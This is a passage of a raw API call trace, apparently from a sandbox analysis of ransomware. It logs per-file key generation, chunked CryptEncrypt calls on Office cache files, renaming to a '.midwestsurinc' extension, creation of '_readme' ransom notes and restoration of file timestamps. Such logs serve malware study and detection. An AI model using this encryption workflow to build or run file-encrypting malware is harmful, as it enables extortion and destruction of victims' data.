(in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0099.105] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0099.105] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0099.105] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0099.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0099.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0099.106] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0099.106] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0099.106] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0xfa07a8 [0099.106] ReadFile (in: hFile=0x2e8, lpBuffer=0xfa07a8, nNumberOfBytesToRead=0x5b1, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesRead=0x174fb28*=0x5b1, lpOverlapped=0x0) returned 1 [0099.110] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0x10733c0 [0099.111] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181a060*, pdwDataLen=0x174fb24*=0x5b1, dwBufLen=0x9b1 | out: pbData=0x181a060*, pdwDataLen=0x174fb24*=0x5c0) returned 1 [0099.111] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0099.111] WriteFile (in: hFile=0x2e8, lpBuffer=0xfa07a8*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesWritten=0x174fb28*=0x5b1, lpOverlapped=0x0) returned 1 [0099.111] FlushFileBuffers (hFile=0x2e8) returned 1 [0099.114] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0099.114] NtClose (Handle=0x2e8) returned 0x0 [0099.115] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.midwestsurinc")) returned 1 [0099.115] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0099.115] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0099.115] GetLastError () returned 0x2 [0099.115] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf862d0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0099.115] GetLastError () returned 0x2 [0099.115] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0099.116] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0099.116] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0099.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0099.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x17) returned 0x1836160 [0099.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0099.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1836160) returned 1 [0099.117] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0099.117] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0099.117] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f5, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f5, lpOverlapped=0x0) returned 1 [0099.117] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5a069290, dwHighDateTime=0x1d5dff7)) returned 1 [0099.117] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0099.117] NtClose (Handle=0x2e8) returned 0x0 [0099.118] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0099.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0099.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0099.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0099.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0099.118] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0099.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0099.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0099.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0099.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0099.118] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54)) returned 1 [0099.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0099.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0099.118] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0099.118] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0099.118] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0099.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0099.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0099.119] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54)) returned 1 [0099.119] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0099.119] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0099.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0099.119] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0099.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0099.119] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54)) returned 1 [0099.119] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0099.119] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0099.119] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0099.119] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0099.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0099.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0099.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0099.120] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xf3076b00, dwHighDateTime=0x1d301be)) returned 1 [0099.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0099.120] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0099.120] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0099.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0099.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0099.120] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0099.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0099.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0099.120] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0099.120] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0099.121] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x1f50020 [0099.121] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0099.482] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0099.767] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0099.849] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0099.849] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0100.002] FlushFileBuffers (hFile=0x2e8) returned 1 [0100.026] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0xa00000 [0100.027] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x2960020 [0100.027] ReadFile (in: hFile=0x2e8, lpBuffer=0x2960020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2960020*, lpNumberOfBytesRead=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0100.272] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00000) returned 0x3370020 [0100.464] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1f50020*, pdwDataLen=0x174fb24*=0xa00000) returned 1 [0100.546] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0xa00000 [0100.546] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0100.662] FlushFileBuffers (hFile=0x2e8) returned 1 [0100.689] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x1400000 [0100.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x16b80) returned 0x1970048 [0100.689] ReadFile (in: hFile=0x2e8, lpBuffer=0x1970048, nNumberOfBytesToRead=0x16b54, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1970048*, lpNumberOfBytesRead=0x174fb28*=0x16b54, lpOverlapped=0x0) returned 1 [0100.697] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x16b80) returned 0x1986bd0 [0100.698] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1970048*, pdwDataLen=0x174fb24*=0x16b54, dwBufLen=0x16f54 | out: pbData=0x1970048*, pdwDataLen=0x174fb24*=0x16b60) returned 1 [0100.699] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x1400000 [0100.699] WriteFile (in: hFile=0x2e8, lpBuffer=0x1f50020*, nNumberOfBytesToWrite=0x16b54, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesWritten=0x174fb28*=0x16b54, lpOverlapped=0x0) returned 1 [0100.699] FlushFileBuffers (hFile=0x2e8) returned 1 [0100.701] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0100.701] NtClose (Handle=0x2e8) returned 0x0 [0100.988] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.midwestsurinc")) returned 1 [0100.989] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0100.989] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0100.989] GetLastError () returned 0x2 [0100.989] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf862f0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0100.989] GetLastError () returned 0x2 [0100.989] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0100.992] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0100.992] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0100.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0100.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x13) returned 0x1836160 [0100.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0100.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1836160) returned 1 [0100.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0100.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0100.993] WriteFile (in: hFile=0x2e8, lpBuffer=0x1030560*, nNumberOfBytesToWrite=0x2f1, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1030560*, lpNumberOfBytesWritten=0x174fb28*=0x2f1, lpOverlapped=0x0) returned 1 [0100.993] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x5b21d630, dwHighDateTime=0x1d5dff7)) returned 1 [0100.993] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0100.993] NtClose (Handle=0x2e8) returned 0x0 [0100.994] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0100.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0100.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0100.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0101.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0101.037] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0101.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0101.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0101.037] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0101.037] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0101.037] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400)) returned 1 [0101.038] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.038] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0101.038] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0101.038] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0101.038] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0101.038] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0101.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.039] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400)) returned 1 [0101.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0101.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0101.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0101.039] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0101.039] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0101.039] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400)) returned 1 